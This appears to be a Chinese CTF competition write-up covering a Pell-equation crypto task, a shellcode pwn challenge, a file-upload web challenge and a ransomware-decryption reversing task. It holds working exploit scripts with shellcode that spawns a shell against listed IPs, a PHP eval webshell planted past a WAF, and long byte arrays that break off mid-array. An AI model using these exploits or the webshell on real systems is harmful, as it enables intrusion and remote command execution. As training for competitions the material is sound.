查看示例以及题目,编写exp
def pell_recurrence(x1, y1, x, y, D):
x_next = x1 * x + D * y1 * y
y_next = x1 * y + y1 * x
return x_next, y_next
#计算
def generate_until_threshold(x1, y1, D, threshold):
x, y = 1, 0
solutions = [(x, y)]
iteration = 0
while True:
x, y = pell_recurrence(x1, y1, x, y, D)
iteration += 1
solutions.append((x, y))
if x > threshold and y > threshold:
break
return solutions, iteration, (x, y)
##################################################################
def main():
D = 42232
x1, y1 = 10863430363390445672094671043496198963286006933268455141841942775234559999, 52862312812076818203801374519259164308207980652808243827880652144787200
threshold = 2 ** 0x149f
solutions, iterations, last_solution = generate_until_threshold(x1, y1, D, threshold)
print(f" x = {last_solution[0]}")
print(f" y = {last_solution[1]}")
n1 = (last_solution[0] - 1) // 2
n2 = last_solution[1]
print(n1)
print(n2)
if __name__ == "__main__":
main()
n1=64844564643854949589851602335778398417357958046473541907965865471825503785272678822237542386514416517255501026894654737183875582496807783872409495107534341842017866051238478938990934065677173894545386342407659205001068135302729237100620243248709910469788678708717889604288162784417431423112537621495419154772986757675855167129919386700726005394167383331284254279498630255373138495682828010693186447810574792874994218289604499886574924855123770269452313096224431838804721642376354130042033741778222063044408922159644752291089361532487709307757583423463220655884510805941446159385501144869234562866066430683959981553165969134977445797440777424234638814716724587813493753683564137657751284194240030996768337897606497230343157092891975885036330981018529535961357191249517789661668822447175593069461889888769130598854771926155737315230514752046521202893304056240286346925487675988559705443898301236706180919342302429465894637859344643029018424523547396779994375190095466431959714922380071905524429743822991653088948274069335885888694577809107547976704340333831507724581758450120483610104589803338257974170815964222143136409208762793223834034506152030379364807697319399089566253484223911381851625271939650371513831661159295598370595261204299608982637315116533642003066692618743189177977975115990107686657670079356738239356620676543732171325509902247145583260228629102545738653747438528455898001193543993258829558589125426525550586695373047067726351358183887658916360966276066716968285230497455072503555764167568060675739545960438904928347842532194851125250305537530924233133264250758350828806805623873239302114836480000
n2=631077577837315807212150605001212011073700092115983086048740595191397762984508443612849134473582040026490305611506672815790733279455324389749038244192826523764101532018565743490392509759876096077887883254442318175689932630406378290843956256970846767354927615869369288800192989189174422345466133799853927778347597501992783349577759948389598413174615232673353340208973245358433732035960788360390003750780198394158840133454980434734440578601714456186288858206698999555657864335810426614970929557078975227401182253826825384609346528962344036388832502259046741321911200171426780637962405234474461120880834809003855463232063187607331663553796062046207210640552948434337370007381441733734803953072245096582393802864729330924382527356098137452931852934251401785618978991521206247075519888904264778862933717556843876611759454744828205597534256578148852799693013920359743897278354653848976322146722301616470055723006827166136303455670710003638464315811357227470395415655224937948450914818485837106928933473384856351356250618250282625719817648523075398057308035679181355320171871349626866791602751075678767523089354131906867914634157335225214304935483754244074330567251227993002161883809355444153164204811698090714762642324815609182517988506268150630360407065284699130560128074008357903247903494721281244031724949839433411188350035997807588936279816925317066899121998083847631776144099773876703164982929799928344353549122389259490732638723303504957174689978086401613054702247774451584115199235037185582727394255585715896600435834403902988987940547963269504370891849450258752419616559584122132413440460209140828641358681600
nc连接提交
得到username:ADMIN-JM password:JM001x!
flag:
md5(ADMIN-JM+JM001x!)
或者:
#sage 9.5
from Crypto.Util.number import *
from pwn import *
import syssys.set_int_max_str_digits(0)
def interact(io, x, y):
io.recvuntil(b':')
io.sendline(b'2')
io.recvuntil(b'n1~')
io.sendline(str(x).encode())
io.recvuntil(b'n2~')
io.sendline(str(y).encode())
io.recvline()
return io.recvline()D = 42232
check = 2 ** 0x149f
def solve_pell(N):
cf = continued_fraction(sqrt(N))
i = 0
whileTrue:
i += 1
denom = cf.denominator(i)
numer = cf.numerator(i)
if (((numer - 1) // 2) <= check) or (denom <= check):
continue
if numer^2 - N * denom^2 == 1:
x, y = int((numer - 1) // 2), int(denom)
res = interact(io, x, y)ifb'Sorry'in res:
continue
return resio = remote('47.117.41.252', '33410')
context.log_level = 'debug'
res = solve_pell(D)
print(res)
io.interactive()
#b'Verify success!Your username[ADMIN-JM], your password[JM001x!]~'
最终flag:
b7133d84297c307a92e70d7727f55cbc
利用程序漏洞获取info_sec文件中数据信息,提交第11行第2列数据
做题流程:
拿到scsc二进制文件时,发现是静态编译,没有一个库函数,且符号表缺失,导致库函数都没有名字
这里用到了逆向的技巧,有三种方式可以恢复部分符号表
其中我个人认为效果最理想的是finger插件,这场比赛也不断网,就用它了。它不止能识别libc,没有它,我都不知道还用到了C++的库,这里展示恢复后的效果
该程序是一个AES解密函数套shellcode执行器并禁用了部分可见字符,需要我们加密传输不含有过滤字符的shellcode
这里用来一种最简单的办法,自己再用shellcode创造一个read,并跳转,再输入一个普通的shellcode即可。这里的可见字符过滤限制了“sh”和各种64位寄存器操作。所以我使用了32位寄存器,轻松绕过,开启sys_read,注入shellcode,getshell
from pwn import *
from std_pwn import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import paddefgetProcess(ip,port,name):
global p
iflen(sys.argv) > 1and sys.argv[1] == 'r':
p = remote(ip, port)
return p
else:
p = process(name)
return psl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda x: p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
ita = lambda: p.interactive()
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'\0'))
uu32 = lambda x: u32(x.ljust(4, b'\0'))
# return sl, sd, sa, sla, rc, rl, ru, ita, slc, uu64, uu32defaes_ecb_encrypt(plaintext):
print(plaintext)
for c inb"0MOyhjlcit1ZkbNRnCHaG":
if c in plaintext:
print(f"{chr(c)} in it !")# 将十六进制字符串密钥转换为字节
key = b"862410c4f93b77b4"# 创建AES加密器
cipher = AES.new(key, AES.MODE_ECB)# 对明文进行填充并加密
padded_plaintext = pad(plaintext, AES.block_size)
ciphertext = cipher.encrypt(padded_plaintext)# 将密文转换为十六进制字符串并返回
return ciphertext
shellcode='''
push rsp
pop rsi
mov edi,0
mov edx,0xff
push rdi
pop rax
syscall
jmp rsp
'''# 01ayhcjitkbn MOlZNRCHG
p=getProcess("47.117.42.74",32846,'./scsc')
context(os='linux', arch='amd64', log_level='debug',terminal=['tmux','splitw','-h'])
elf=ELF("./scsc")gdba()
payload=asm(shellcode)
sa("magic data:",aes_ecb_encrypt(asm(shellcode)))
sl(asm(shellcraft.sh()))
ita()
或者
#!/usr/bin/env python3
from pwn import *context.log_level = 'debug'
context.arch = 'amd64'# io = process("./scsc")
io = remote("47.117.41.252",33414)shellcode = '''
xchg r8, rax
xchg r8, rsi
sub edi, edi
mov edx, 0x99
sub eax, eax
syscall
'''
payload1 = asm(shellcode)
print("shellcode = ", payload1.hex())
payload1 = bytes.fromhex("e29aca48e52d1d59c539c172262e56c7aeae3b0ebb4e872fa01f84506ad7c226")
payload2 = b"\x90"*len(payload1) + asm(shellcraft.sh())# gdb.attach(io)
io.sendlineafter(b"magic data:", payload1)
pause()
io.send(payload2)
io.interactive()
本题没有考题附件,请忽略附件下载按钮! 某服务器上存放着加密数据使用的RSA密钥文件,管理员在进行服务器站点维护时没有及时对存在漏洞的测试站点进行修复,请提交RSA密钥所在的路径(提交样式:如文件所在路径为/var/www,则提交答案为/var/www)
初步想法,传马,getshell,然后找跟rsa相关的文件
html,php都被waf掉了, 检测后缀,可能是对文件内容进行检测
Content-Type: text/html 对这个进行waf了
对后缀进行waf了,html,php,.htaccess,".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml,.user.ini
回显为NOT THIS。但phtml后缀的回显为NOT THIS CONTEHT
php7.2以上,需要配置htaccess文件
也不是png2次渲染
中间件为apache, 解析漏洞?
发现对文件内容进行检查,内容包含php的会被waf掉。
成功传马
<?= @eval($_POST['cmd']);
antsword连接,找到RSA密钥所在的路径为/var/www/rssss4a
作为某宣传部门的技术支持人员,在进行一次公开表彰优秀志愿者的活动时,由于数据脱敏过度,导致无法准确识别个人信息,造成
多名志愿者信息混淆。请选手根据附件中的《题目说明文档》的任务要求进行解题。
入口:open文件->变表base64加密->使用time()生成伪随机数组->异或加密->写入新文件
下为程序初始化函数,用于加密数值函数
分析得加密数组只需求出第一个,即可推出全部,而根据题目所给的加密后的csv附件的字节数量为1076,原始文件数据脱敏后字节数量会由于汉字变为*号导致字节数不匹配base64处理,但是文件前一部分字节还是匹配的
因此流程为,将脱敏后的文件和加密后的文件异或,求出勒索软件中用于加密处理的数组的第一个值,再根据生成规则完整推出整个用于加密处理的数组
#include <stdio.h>int main() {
int a1[] = { 0x019660D, 0x3C6EF35F, 0x0679875, 0xff };
int a4=0x63;
char index[2048] = {0x63};for (int i = 1; i < 2048; ++i)
{
a4 = (a1[0] * a4 + a1[1]) % a1[2] % (a1[3] + 1);
index[i]=a4;
}for (int i = 0; i < 2048; i++)
{
printf("0x%x,", index[i]&0xff);
}system("pause");
return0;
}
随后再编写脚本得到异或解密后的文件,再仍旧cyberchef快速解变表base64
#include <stdio.h>
unsignedchar byte_562BDAE0A0C0[] =
{
0x63,0x55,0xfe,0xd6,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2
};
unsignedchar ptr[] =
{0x63,0x55,0xfe,0xd6,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x